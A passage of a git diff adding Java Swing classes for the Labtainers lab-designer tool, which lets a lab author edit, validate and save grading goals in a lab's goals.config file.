ValueTextField}); + + ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {AnswerTagTextField, AnswerTypeComboBox, ArithmeticResultTagTextField, BooleanTextField, ExecutableFileTextField, OperatorComboBox, ParameterComboBox, ResultTag2ComboBox, ResultTagComboBox}); + + DeleteButton.setText("Delete"); + DeleteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DeleteButtonActionPerformed(evt); + } + }); + + rowLabel.setFont(new java.awt.Font("Arial", 1, 24)); // NOI18N + rowLabel.setText("10"); + + UpButton.setText("^"); + UpButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpButtonActionPerformed(evt); + } + }); + + DownButton.setText("v"); + DownButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DownButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addComponent(rowLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 1390, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(UpButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(DownButton, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(DeleteButton) + .addGap(73, 73, 73)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 80, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(layout.createSequentialGroup() + .addComponent(UpButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(DownButton)) + .addComponent(DeleteButton, javax.swing.GroupLayout.PREFERRED_SIZE, 58, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(rowLabel))) + ); + }// //GEN-END:initComponents + + private void DeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DeleteButtonActionPerformed + deleteButton(); + }//GEN-LAST:event_DeleteButtonActionPerformed + + private void deleteButton(){ + JPanel container = (JPanel)this.getParent(); + container.remove(this); + goalsUI.dataUI.decreaseRowCount(); + goalsUI.refresh(); + } + + private void UpButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpButtonActionPerformed + swapUpdate("UP", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_UpButtonActionPerformed + + private void DownButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DownButtonActionPerformed + swapUpdate("DOWN", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_DownButtonActionPerformed + + private void goalTypeItemChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_goalTypeItemChanged + goalTypeListener(); + }//GEN-LAST:event_goalTypeItemChanged + + private void AnswerTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_AnswerTypeComboBoxItemStateChanged + answerTypeListener(); + }//GEN-LAST:event_AnswerTypeComboBoxItemStateChanged + + private void goalTypeListener(){ + String goalType = ((ToolTipWrapper)GoalTypeComboBox.getSelectedItem()).getItem(); + + if(opInput.contains(goalType)) + visibilityHandler("op"); + else if(goalInput.contains(goalType)) + visibilityHandler("goal"); + else if(resultTagInput.contains(goalType)) + visibilityHandler("rT"); + else if("boolean".equals(goalType)) + visibilityHandler("boolean"); + else if("count_greater".equals(goalType)) + visibilityHandler("countg"); + else if("execute".equals(goalType)) + visibilityHandler("exe"); + else if("matchExpression".equals(goalType)) + visibilityHandler("matche"); + else + System.out.println("Goal Type Listener could not find this type: " + goalType); + } + + private void visibilityHandler(String type){ + OperatorComboBox.setVisible(false); + if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[4]) == -1) + OperatorComboBox.insertItemAt(Operator_ITEMS[4], 0); + if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[2]) == -1) + OperatorComboBox.insertItemAt(Operator_ITEMS[3], 0); + if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[2]) == -1) + OperatorComboBox.insertItemAt(Operator_ITEMS[2], 0); + if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[1]) == -1) + OperatorComboBox.insertItemAt(Operator_ITEMS[1], 0); + if(((DefaultComboBoxModel)OperatorComboBox.getModel()).getIndexOf(Operator_ITEMS[0]) == -1) + OperatorComboBox.insertItemAt(Operator_ITEMS[0], 0); + + OperatorComboBox.setSelectedItem(Operator_ITEMS[0]); + + + + ExecutableFileTextField.setVisible(false); + ExecutableFileTextField.setText(""); + + ResultTagComboBox.setVisible(false); + if(resultTags != null && !resultTags.isEmpty()) + ResultTagComboBox.setSelectedItem(resultTags.get(0)); + + ArithmeticResultTagTextField.setVisible(false); + ArithmeticResultTagTextField.setText(""); + + AnswerTypeComboBox.setVisible(false); + AnswerTypeComboBox.setSelectedItem(answerTypes[0]); + //"Result Tag" may have been removed by the execute goaltype so readd it to the combo box to reset it back to default + if(((DefaultComboBoxModel)AnswerTypeComboBox.getModel()).getIndexOf("Result Tag") == -1) + AnswerTypeComboBox.addItem("Result Tag"); + AnswerTagTextField.setVisible(false); + AnswerTagTextField.setText(""); + + ResultTag2ComboBox.setVisible(false); + if(resultTags != null && !resultTags.isEmpty()) + ResultTag2ComboBox.setSelectedItem(resultTags.get(0)); + + ParameterComboBox.setVisible(false); + if(parameterIDs != null && !parameterIDs.isEmpty()) + ParameterComboBox.setSelectedItem(parameterIDs.get(0)); + + BooleanTextField.setVisible(false); + BooleanTextField.setText(""); + + Goal1TextField.setVisible(false); + Goal1TextField.setText(""); + + Goal2TextField.setVisible(false); + Goal2TextField.setText(""); + + SubgoalTextField.setVisible(false); + SubgoalTextField.setText(""); + + ValueTextField.setVisible(false); + ValueTextField.setText(""); + + BooleanResultTagsComboBox.setVisible(false); + if(booleanResultTags != null && !booleanResultTags.isEmpty()) + BooleanResultTagsComboBox.setSelectedItem(booleanResultTags.get(0)); + + PreviousMatchanyComboBox.setVisible(false); + //if(prevMatchany != null && !prevMatchany.isEmpty()) + // PreviousMatchanyComboBox.setSelectedItem(prevMatchany.get(0)); + + switch(type){ + case "op": + OperatorComboBox.setVisible(true); + ResultTagComboBox.setVisible(true); + AnswerTypeComboBox.setVisible(true); + AnswerTagTextField.setVisible(true); + break; + case "goal": + Goal1TextField.setVisible(true); + Goal2TextField.setVisible(true); + BooleanResultTagsComboBox.setVisible(true); + //PreviousMatchanyComboBox.setVisible(true); + break; + case "rT": + ResultTagComboBox.setVisible(true); + break; + case "boolean": + BooleanTextField.setVisible(true); + BooleanResultTagsComboBox.setVisible(true); + break; + case "countg": + SubgoalTextField.setVisible(true); + ValueTextField.setVisible(true); + BooleanResultTagsComboBox.setVisible(true); + break; + case "exe": + ExecutableFileTextField.setVisible(true); + ResultTagComboBox.setVisible(true); + AnswerTypeComboBox.setVisible(true); + //Answertag is expected to be a literal value or a symbolic name from parameters.config (pg. 26 in labtainers manual) + AnswerTypeComboBox.removeItem("Result Tag"); + AnswerTagTextField.setVisible(true); + break; + case "matche": + OperatorComboBox.setVisible(true); + OperatorComboBox.removeItem(Operator_ITEMS[0]); + OperatorComboBox.removeItem(Operator_ITEMS[1]); + OperatorComboBox.removeItem(Operator_ITEMS[2]); + OperatorComboBox.removeItem(Operator_ITEMS[3]); + OperatorComboBox.removeItem(Operator_ITEMS[4]); + ArithmeticResultTagTextField.setVisible(true); + AnswerTypeComboBox.setVisible(true); + AnswerTagTextField.setVisible(true); + break; + default: + System.out.println("No type match"); + } + + this.revalidate(); + this.repaint(); + } + + private void answerTypeListener(){ + String answerType = (String)(AnswerTypeComboBox.getSelectedItem()); + + if(answerType.equals(answerTypes[0])){ //Literal + AnswerTagTextField.setVisible(true); + + ResultTag2ComboBox.setVisible(false); + if(resultTags != null && !resultTags.isEmpty()) + ResultTag2ComboBox.setSelectedItem(resultTags.get(0)); + + ParameterComboBox.setVisible(false); + if(parameterIDs != null && !parameterIDs.isEmpty()) + ParameterComboBox.setSelectedItem(parameterIDs.get(0)); + } + else if(answerType.equals(answerTypes[1])){ //Result Tag + AnswerTagTextField.setVisible(false); + AnswerTagTextField.setText(""); + + ResultTag2ComboBox.setVisible(true); + + ParameterComboBox.setVisible(false); + if(parameterIDs != null && !parameterIDs.isEmpty()) + ParameterComboBox.setSelectedItem(parameterIDs.get(0)); + } + else if(answerType.equals(answerTypes[2]) || answerType.equals(answerTypes[3])){ + AnswerTagTextField.setVisible(false); + AnswerTagTextField.setText(""); + + ResultTag2ComboBox.setVisible(false); + if(resultTags != null && !resultTags.isEmpty()) + ResultTag2ComboBox.setSelectedItem(resultTags.get(0)); + + ParameterComboBox.setVisible(true); + } + + this.revalidate(); + this.repaint(); + } + + //Swaps goal order in the list of goals and then redraws them + protected void swapUpdate(String type, int rowIndex){ + goalsUI.dataUI.updateListofGoals(goalsUI.getPanelofGoals()); + goalsUI.dataUI.swapGoals(type, rowIndex); + goalsUI.goalsPanelRedraw(); + } + + + //Field Getters + public JTextField getGoalIDTextField(){ + return GoalIDTextField; + } + + public JComboBox getGoalTypeComboBox(){ + return GoalTypeComboBox; + } + + public JComboBox getOperatorComboBox(){ + return OperatorComboBox; + } + + public JTextField getExecutableFileTextField(){ + return ExecutableFileTextField; + } + + public JComboBox getResultTagComboBox(){ + return ResultTagComboBox; + } + + public JTextField getArithmeticResultTagTextField(){ + return ArithmeticResultTagTextField; + } + + public JComboBox getAnswerTypeComboBox(){ + return AnswerTypeComboBox; + } + + public JTextField getAnswerTagTextField(){ + return AnswerTagTextField; + } + + public JComboBox getResultTag2ComboBox(){ + return ResultTag2ComboBox; + } + + public JComboBox getParameterComboBox(){ + return ParameterComboBox; + } + + public JTextField getBooleanTextField(){ + return BooleanTextField; + } + + public JTextField getGoal1TextField(){ + return Goal1TextField; + } + + public JTextField getGoal2TextField(){ + return Goal2TextField; + } + + public JTextField getValueTextField(){ + return ValueTextField; + } + + public JTextField getSubgoalTextField(){ + return SubgoalTextField; + } + + + + //Field SETTERS + private void setGoalIDTextField(String v){ + GoalIDTextField.setText(v); + } + + private void setGoalTypeComboBox(ToolTipWrapper v){ + GoalTypeComboBox.setSelectedItem(v); + } + + private void setOperatorComboBox(ToolTipWrapper v){ + OperatorComboBox.setSelectedItem(v); + } + + private void setExecutableFileTextField(String v){ + ExecutableFileTextField.setText(v); + } + + private void setResultTagComboBox(String v){ + ResultTagComboBox.setSelectedItem(v); + } + + private void setArithmeticResultTagTextField(String v){ + ArithmeticResultTagTextField.setText(v); + } + + private void setAnswerTypeComboBox(String v){ + AnswerTypeComboBox.setSelectedItem(v); + } + + private void setAnswerTagTextField(String v){ + AnswerTagTextField.setText(v); + } + + private void setResultTag2ComboBox(String v){ + ResultTag2ComboBox.setSelectedItem(v); + } + + private void setParameterComboBox(String v){ + ParameterComboBox.setSelectedItem(v); + } + + private void setBooleanTextField(String v){ + BooleanTextField.setText(v); + } + + private void setGoal1TextField(String v){ + Goal1TextField.setText(v); + } + + private void setGoal2TextField(String v){ + Goal2TextField.setText(v); + } + + private void setValueTextField(String v){ + ValueTextField.setText(v); + } + + private void setSubgoalTextField(String v){ + SubgoalTextField.setText(v); + } + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JTextField AnswerTagTextField; + private javax.swing.JComboBox AnswerTypeComboBox; + private javax.swing.JTextField ArithmeticResultTagTextField; + private javax.swing.JPanel ArtifactPanel; + private javax.swing.JComboBox BooleanResultTagsComboBox; + private javax.swing.JTextField BooleanTextField; + private javax.swing.JButton DeleteButton; + private javax.swing.JButton DownButton; + private javax.swing.JTextField ExecutableFileTextField; + private javax.swing.JTextField Goal1TextField; + private javax.swing.JTextField Goal2TextField; + private javax.swing.JTextField GoalIDTextField; + private javax.swing.JComboBox GoalTypeComboBox; + private javax.swing.JComboBox OperatorComboBox; + private javax.swing.JComboBox ParameterComboBox; + private javax.swing.JComboBox PreviousMatchanyComboBox; + private javax.swing.JComboBox ResultTag2ComboBox; + private javax.swing.JComboBox ResultTagComboBox; + private javax.swing.JTextField SubgoalTextField; + private javax.swing.JButton UpButton; + private javax.swing.JTextField ValueTextField; + private javax.swing.JLabel rowLabel; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalValues.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalValues.java new file mode 100644 index 000000000..18286fa8c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalValues.java @@ -0,0 +1,158 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package GoalsUI; + +import static GoalsUI.ParamReferenceStorage.GoalType_ITEMS; +import static GoalsUI.ParamReferenceStorage.Operator_ITEMS; +import static GoalsUI.ParamReferenceStorage.answerTypes; +import static GoalsUI.ParamReferenceStorage.goalInput; +import static GoalsUI.ParamReferenceStorage.opInput; +import static GoalsUI.ParamReferenceStorage.resultTagInput; +import java.util.List; + + +/** + * + * @author Dan + */ + +//****The param parsing in this class is limited to where the param value's corresponding index is on the goal line. + //If at any point this alignment is modified with less or more params, this code will need to be revised +public class GoalValues { + //Values to be obtained + String goalID, resultTag, answerTag, answerType, booleanExp, goal1, goal2, value, subgoalList, executableFile; + + ToolTipHandlers.ToolTipWrapper goalType, operator; + + //Constructor for loading goals into the UI + GoalValues(String goalLine, List resultTags){ + goalID = resultTag = answerType = answerTag = booleanExp = goal1 = goal2 = value = subgoalList = executableFile = ""; + goalType = null; + operator = Operator_ITEMS[0]; + //by default set the result tag to the first result tag in the resultTags list (Warning: an error will occur if there is nothing the results tags list) + resultTag = resultTags.get(0); + answerType = answerTypes[0]; + + String[] paramParsedLine = goalLine.split(" : "); + + //Get goal ID + goalID = paramParsedLine[0].split(" = ")[0].trim(); + + //System.out.println(paramParsedLine[0].split(" = ")[1]); + + + + //Get goal type + if(paramParsedLine[0].split(" = ")[1].trim().equals("count")){ + if(paramParsedLine.length > 2) + goalType = GoalType_ITEMS[10]; //count_matches + else + goalType = GoalType_ITEMS[9]; //count_value + } + else + goalType = itemFinder(GoalType_ITEMS, paramParsedLine[0].split(" = ")[1].trim()); + + if(opInput.contains(goalType.getItem())){ + operator = itemFinder(Operator_ITEMS, paramParsedLine[1]); + resultTag = paramParsedLine[2]; + + //Overwrite the goaltype to "matchExpression" if the result tag has a parenthesis (this indicates an arithmetic expression) + if(resultTag.contains("(")){ + goalType = GoalType_ITEMS[12]; + //take out outer parens in resultTag + if(resultTag.startsWith("(") && resultTag.endsWith(")")) + resultTag = resultTag.substring(1, resultTag.length() -1); + } + + answerTagModifier(paramParsedLine[3], resultTags); + } + else if(goalInput.contains(goalType.getItem())){ + goal1 = paramParsedLine[1].trim(); + goal2 = paramParsedLine[2].trim(); + } + else if(resultTagInput.contains(goalType.getItem())){ + resultTag = paramParsedLine[1].trim(); + } + else if("boolean".equals(goalType.getItem())){ + booleanExp = paramParsedLine[1]; + } + else if("count_greater".equals(goalType.getItem())){ + value = paramParsedLine[1].trim(); + subgoalList = paramParsedLine[2].trim(); + //Chop off the surrounding parens since this will be readded when written + if(subgoalList.startsWith("(") && subgoalList.endsWith(")")) + subgoalList = subgoalList.substring(1, subgoalList.length() -1); + } + else if("execute".equals(goalType.getItem())){ + executableFile = paramParsedLine[1]; + resultTag = paramParsedLine[2]; + answerTagModifier(paramParsedLine[3], resultTags); + } + else + System.out.println("Goal Type doesn't match any"); + } + + //Constructor for temporarily storing values of artifacts in the UI + GoalValues(String goalID, ToolTipHandlers.ToolTipWrapper goalType, ToolTipHandlers.ToolTipWrapper operator, String resultTag, String answerType, String answerTag, String booleanExp, String goal1, String goal2, String value, String subgoalList, String executableFile){ + this.goalID = goalID; + this.goalType = goalType; + this.operator = operator; + this.resultTag = resultTag; + this.answerType = answerType; + this.answerTag = answerTag; + this.booleanExp = booleanExp; + this.goal1 = goal1; + this.goal2 = goal2; + this.value = value; + this.subgoalList = subgoalList; + this.executableFile = executableFile; + } + + //set the answertype & answertag to be displayed on the gui based on the config's answer tag + private void answerTagModifier(String aT, List resultTags){ + if(aT.contains("answer=")){ + answerTag = aT.split("answer=")[1]; + } + else if(resultTags.contains(aT)){ + answerTag = aT; + answerType = answerTypes[1]; //Result Tags + } + else if(aT.contains("result.")){ + answerTag = aT.split("result.")[1]; + answerType = answerTypes[1]; //Result Tags + } + else if(aT.contains("parameter.")){ + answerTag = aT.split("parameter.")[1]; + answerType = answerTypes[2]; //Parameter + } + else if(aT.contains("parameter_ascii.")){ + answerTag = aT.split("parameter_ascii.")[1]; + answerType = answerTypes[3]; //Parameter_ASCII + } + } + + + private ToolTipHandlers.ToolTipWrapper itemFinder(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return item; + } + } + return null; + } + + private boolean isInteger(String s){ + try{ + Integer.parseInt(s); + + return true; + } + catch(NumberFormatException ex){ + return false; + } + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsData.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsData.java new file mode 100644 index 000000000..dfcbe7fe5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsData.java @@ -0,0 +1,1249 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package GoalsUI; + +import static GoalsUI.ParamReferenceStorage.GoalType_ITEMS; +import static GoalsUI.ParamReferenceStorage.answerTypes; +import static GoalsUI.ParamReferenceStorage.booleanResultTypes; +import static GoalsUI.ParamReferenceStorage.goalInput; +import static GoalsUI.ParamReferenceStorage.opInput; +import static GoalsUI.ParamReferenceStorage.resultTagInput; +import GoalsUI.ToolTipHandlers.ToolTipWrapper; +import java.awt.Component; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.swing.JOptionPane; +import javax.swing.JPanel; + +/** + * + * @author Dan + */ +public class GoalsData { + private List listofGoals; + final private List resultTagList; + final private List parameters; + final private List booleanResults; + private boolean labloaded; + final private String labname; + private int rowCount; + + GoalsData(){ + listofGoals = new ArrayList<>(); + resultTagList = new ArrayList<>(); + parameters = new ArrayList<>(); + booleanResults = new ArrayList<>(); + labloaded = false; + labname = ""; + rowCount = 0; + } + + GoalsData(String labname){ + listofGoals = new ArrayList<>(); + resultTagList = new ArrayList<>(); + parameters = new ArrayList<>(); + booleanResults = new ArrayList<>(); + labloaded = false; + this.labname = labname; + rowCount = 0; + + getData(); + } + + +//LOADING~~~~~~~~~~~~~~~~~~~~~~~~ + + //Checks if the lab exists and will load lab's goals.config if it does + private void getData(){ + //Check if the Folder exists + String userHomeFolder = System.getProperty("user.home"); + File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); + + if(lab.isDirectory()){ + if(getResultTags(lab) && getGoals()){ + labloaded = true; + getParameters(lab); + getBooleanResults(lab); + } + } + else + System.out.println("Lab does not exist!"); + } + + //Updates the resultTagList (all goal panels refer to this list to fill in the resultTag combobox) + private boolean getResultTags(File lab){ + File resultsConfig = new File(lab + File.separator + "instr_config" + File.separator + "results.config"); + try { + if(resultsConfig.exists()){ + try (FileReader fileReader = new FileReader(resultsConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + + String line = bufferedReader.readLine(); + while (line != null) { + if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) + resultTagList.add(line.split(" = ")[0]); + line = bufferedReader.readLine(); + } + } + return true; + } + else{ + System.out.println("results.config is missing"); + return false; + } + } + catch (FileNotFoundException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + return false; + } + catch (IOException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + return false; + } + } + + //Parses the goals.config to obtain all the relevant goal lines, + //extracts the values of each goal line and stores them into a list of "goals"(Goal Values) + private boolean getGoals(){ + //Attempt to set the listofGoals, if it ends up being null then there was an issue accessing the goal lines, which would be paresd into Goal Values + listofGoals = getGoalValuesOfConfigFile(); + if(listofGoals != null){ + rowCount=listofGoals.size(); + return true; + } + else + return false; + } + + //Get the parameter.config IDs + private void getParameters(File lab){ + File parameterConfig = new File(lab + File.separator + "config" + File.separator + "parameter.config"); + try { + if(parameterConfig.exists()){ + try (FileReader fileReader = new FileReader(parameterConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + + String line = bufferedReader.readLine(); + while (line != null) { + if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) + parameters.add(line.split(" : ")[0]); + line = bufferedReader.readLine(); + } + } + } + else + System.out.println("parameter.config is missing"); + } + catch (FileNotFoundException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + } + catch (IOException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + } + } + + //Get the result tags that are boolean result types + private void getBooleanResults(File lab){ + File resultsConfig = new File(lab + File.separator + "instr_config" + File.separator + "results.config"); + try { + if(resultsConfig.exists()){ + try (FileReader fileReader = new FileReader(resultsConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + + String line = bufferedReader.readLine(); + while (line != null) { + if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) + if(booleanResultTypes.contains(line.split(" : ")[1])) + booleanResults.add(line.split(" = ")[0]); + + line = bufferedReader.readLine(); + } + } + } + else + System.out.println("results.config is missing"); + } + catch (FileNotFoundException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + } + catch (IOException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + } + } + +//WRITING~~~~~~~~~~~~~~~~~~~~~~~~ + + //Update the results.config file with the user's input + protected void writeGoalsConfig(JPanel PanelofGoals){ + try { + Component[] goals = PanelofGoals.getComponents(); //Access the list of goals + String goalID, + goalType, + + operator, + resultTag, + answerType, + + booleanExp, + + goal1, + goal2, + + value, + subgoalList, + + executableFile; + String goalsConfigText = ""; + ErrorHandler error = new ErrorHandler(); + List goalIDs = new ArrayList(); //Used for goal ID duplication check + + //Iterate through each goal + for(int i=0;i < goals.length;i++){ + error.checkReset(); //Reset the error statuses for a new goal line + + String goalConfigLine = ""; + + //Goal ID + goalID = ((GoalPanels)goals[i]).getGoalIDTextField().getText(); + goalIDs.add(goalID); + //Checks if goal ID is valid or inputted + if(error.checkGoalID(goalID)) + goalConfigLine += (goalID + " = "); //add to goal ID Config line + + //Goal Type + ToolTipHandlers.ToolTipWrapper goalTypeTTW = (ToolTipHandlers.ToolTipWrapper)(((GoalPanels)goals[i]).getGoalTypeComboBox().getSelectedItem()); + goalType = goalTypeTTW.getItem(); + + switch (goalType) { + case "matchExpression": + goalConfigLine += "matchany : "; + break; + case "count_value": + case "count_matches": + goalConfigLine += "count : "; + break; + default: + goalConfigLine += goalType+" : "; + break; + } + + if(opInput.contains(goalType)){ + ToolTipHandlers.ToolTipWrapper operatorTTW = (ToolTipHandlers.ToolTipWrapper)(((GoalPanels)goals[i]).getOperatorComboBox().getSelectedItem()); + operator = operatorTTW.getItem(); + resultTag = (String)((GoalPanels)goals[i]).getResultTagComboBox().getSelectedItem(); + answerType = (String)((GoalPanels)goals[i]).getAnswerTypeComboBox().getSelectedItem(); + + goalConfigLine += operator+" : "; + goalConfigLine += resultTag+" : "; + goalConfigLine += answerHandler(answerType, (GoalPanels)goals[i]); + } + + else if(goalInput.contains(goalType)){ + goal1 = ((GoalPanels)goals[i]).getGoal1TextField().getText(); + goal2 = ((GoalPanels)goals[i]).getGoal2TextField().getText(); + + ArrayList listOfAboveGoals = getAboveGoals("GOAL1&2", i, goals); + if(error.checkGoal1(goal1, listOfAboveGoals)) + goalConfigLine += goal1+" : "; + if(error.checkGoal2(goal2, listOfAboveGoals)) + goalConfigLine += goal2; + } + + else if(resultTagInput.contains(goalType)){ + resultTag = (String)((GoalPanels)goals[i]).getResultTagComboBox().getSelectedItem(); + goalConfigLine += resultTag; + } + + else if("boolean".equals(goalType)){ + booleanExp = ((GoalPanels)goals[i]).getBooleanTextField().getText(); + + if(error.checkBooleanExp(booleanExp, getAboveGoals("BOOLEAN", i, goals), booleanResults)){ + goalConfigLine += booleanExp; + } + } + + else if("count_greater".equals(goalType)){ + value = ((GoalPanels)goals[i]).getValueTextField().getText(); + subgoalList = ((GoalPanels)goals[i]).getSubgoalTextField().getText(); + + if(error.checkValueAndSubgoals(value, subgoalList, getAboveGoals("ALL", i, goals), booleanResults)){ + goalConfigLine += value+" : "; + goalConfigLine += "("; + goalConfigLine += subgoalList; + goalConfigLine += ")"; + } + + + + } + else if("execute".equals(goalType)){ + executableFile = ((GoalPanels)goals[i]).getExecutableFileTextField().getText(); + resultTag = (String)((GoalPanels)goals[i]).getResultTagComboBox().getSelectedItem(); + answerType = (String)((GoalPanels)goals[i]).getAnswerTypeComboBox().getSelectedItem(); + + goalConfigLine += executableFile+" : "; + goalConfigLine += resultTag+" : "; + goalConfigLine += answerHandler(answerType, (GoalPanels)goals[i]); + } + else if("matchExpression".equals(goalType)){ + ToolTipHandlers.ToolTipWrapper operatorTTW = (ToolTipHandlers.ToolTipWrapper)(((GoalPanels)goals[i]).getOperatorComboBox().getSelectedItem()); + operator = operatorTTW.getItem(); + + //May need modification /validation + String rt = (String)((GoalPanels)goals[i]).getArithmeticResultTagTextField().getText(); + resultTag=""; + if(error.checkArithRT(rt)){ //NOTE: the checkArithRT is incomplete and simply returns 'true' + resultTag += "("; + resultTag += rt; + resultTag += ")"; + } + + answerType = (String)((GoalPanels)goals[i]).getAnswerTypeComboBox().getSelectedItem(); + + goalConfigLine += operator+" : "; + goalConfigLine += resultTag+" : "; + goalConfigLine += answerHandler(answerType, (GoalPanels)goals[i]); + } + + + //If there's no error, put the goalConfigLine in the resultsConfigText string, + //Otherwise the overallPass of the user input is false + if(error.userInputCheck(i+1)){ + if(i < goals.length-1) + goalConfigLine+= System.lineSeparator(); + //Add the goal config line to the Results Config text + goalsConfigText += goalConfigLine; + } + else + error.fail(); + } + + //Check for duplicate goal IDs + error.checkDuplicateGoalIDs(goalIDs, booleanResults); + + + if(error.passStatus()){ + //Resets the results.config file + File goalsConfigFile = initializeGoalsConfig(); + + try ( //Write the resultsConfigText to the results.config + BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile, true))) { + writer.write(goalsConfigText); + } + } + else + JOptionPane.showMessageDialog(null, error.toString(), "INPUT ERROR", JOptionPane.ERROR_MESSAGE); + } + catch (IOException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + } + } + + //Builds the string bit to be added in the goals.config that describes the answer for a goal + private String answerHandler(String answerType, GoalPanels goal){ + String answer = ""; + + if(answerType.equals(answerTypes[0])){ //Literal + answer += "answer="; + answer += goal.getAnswerTagTextField().getText(); + } + else if(answerType.equals(answerTypes[1])){ //Result Tag + answer += "result."; + answer += (String)(goal.getResultTag2ComboBox().getSelectedItem()); + } + else if(answerType.equals(answerTypes[2])){ //Parameter + answer += "parameter."; + answer += (String)(goal.getParameterComboBox().getSelectedItem()); + } + else if(answerType.equals(answerTypes[3])){ //Parameter ASCII + answer += "parameter_ascii."; + answer += (String)(goal.getParameterComboBox().getSelectedItem()); + } + else + System.out.println("Issue writing answer in the goals.config"); + + return answer; + } + + //Checks if the goals.config file exists and prepares the goals.config file for the lab + private File initializeGoalsConfig() throws IOException{ + //Get the filepath for the lab's goals.config + String userHomeFolder = System.getProperty("user.home"); + File goalsConfigFile = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator + labname + File.separator + "instr_config" + File.separator + "goals.config"); + + //May not be necessary, subject to remove the base text, perhaps there is an option for the user to add their own comments + String baseText = + "# goals.config" + System.lineSeparator() + + "#" + System.lineSeparator() + + "# Please see the Labtainer Lab Designer User Guide" + System.lineSeparator(); + + 